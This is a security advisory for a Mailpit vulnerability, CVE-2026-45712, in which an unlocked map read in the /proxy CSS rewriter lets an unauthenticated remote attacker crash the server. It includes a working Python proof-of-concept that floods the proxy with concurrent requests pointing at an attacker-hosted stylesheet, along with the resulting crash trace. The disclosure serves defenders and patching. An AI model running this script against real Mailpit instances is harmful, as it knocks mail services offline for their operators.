CVE-2026-45712: Mailpit: Concurrent map read & write in proxy CSS rewriter - remote unauth crash (fatal error: concurrent map read and map write)
Summary The screenshot/print proxy (/proxy?data=…) maintains a package-level assets map[string]MessageAssets cache, but reads the map without holding assetsMutex while a long-running cleanup goroutine and (re-entrant) CSS-rewriting code path concurrently write to it under the lock.
Published May 19, 2026 · Updated Sep 2, 2026
Affected packages
github.com/axllent/mailpit
- Ecosystem
- Go
- Affected
- < 1.30.0
- Fixed in
- 1.30.0
- Check
go list -m github.com/axllent/mailpit
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
The screenshot/print proxy (/proxy?data=…) maintains a package-level assets map[string]MessageAssets cache, but reads the map without holding assetsMutex while a long-running cleanup goroutine and (re-entrant) CSS-rewriting code path concurrently write to it under the lock. When the unsynchronized read coincides with a synchronized write, Go's runtime raises fatal error: concurrent map read and map write — a runtime.throw that is not recoverable by http.Server's handler-panic recover. The whole Mailpit process exits, taking the SMTP, POP3 and HTTP listeners down with it.
Details
A remote, unauthenticated attacker who can (1) reach /proxy and (2) plant any message with a stylesheet link in the inbox can crash Mailpit by issuing concurrent /proxy?data=… requests against the same message's CSS URL. Mailpit's defaults make both prerequisites trivial: the SMTP listener accepts mail anonymously, the HTTP listener accepts requests anonymously, and the cleanup goroutine fires every minute regardless of whether the map is being read.
Affected code server/handlers/proxy.go:198-229 server/handlers/proxy.go:52-66 server/handlers/proxy.go:244-313
Go's map runtime sets a hashWriting flag at the start of any write op. Concurrent map reads check the flag and call throw("concurrent map read and map write") — throw is not caught by defer recover and is not caught by http.Server's handler-panic guard. The process exits with a stack trace.
PoC
- Deposit any message with a in the store (SMTP or /api/v1/send, both unauthenticated by default).
- Make a few hundred concurrent requests to /proxy?data=base64(:https://attacker.example/big.css) — the attacker's big.css should be ~50 MiB and contain thousands of url(...) entries so each request spends time iterating the rewriter loop and touching assets[id] repeatedly.
Skeleton (set --allow-internal-http-requests only if you're testing locally — internal IPs are blocked by safeDialContext in production, which is correct):
# proxy-race.py
import socket, threading, base64, sys
ID = sys.argv[1] # 22-char shortuuid
CSS = "https://attacker.example/big.css"
TOKEN = base64.b64encode(f"{ID}:{CSS}".encode()).decode()
req = (
f"GET /proxy?data={TOKEN} HTTP/1.1\r\n"
f"Host: target:8025\r\n"
f"Connection: close\r\n\r\n"
).encode()
def hit():
try:
s = socket.create_connection(("target", 8025), timeout=10)
s.sendall(req)
while s.recv(8192): pass
s.close()
except Exception: pass
for _ in range(50): # 50 rounds
ts = [threading.Thread(target=hit) for _ in range(300)]
for t in ts: t.start()
for t in ts: t.join()When the unlocked read at line 216 happens during a delete() from the cleanup goroutine, or during another goroutine's assets[id] = result write, Go's runtime emits:
fatal error: concurrent map read and map write
goroutine 123 [running]:
runtime.throw(...)
github.com/axllent/mailpit/server/handlers.ProxyHandler(...)
server/handlers/proxy.go:216
...…and the process exits. Building Mailpit with go build -race produces a deterministic WARNING: DATA RACE trace at the same line under the same workload, confirming the access pattern is racy even without timing-based crash demonstration.
Impact
Unauthenticated remote attacker can trigger a concurrent map access crash in /proxy, causing a fatal runtime panic and full Mailpit process termination (DoS).
Credited to KadirArslan.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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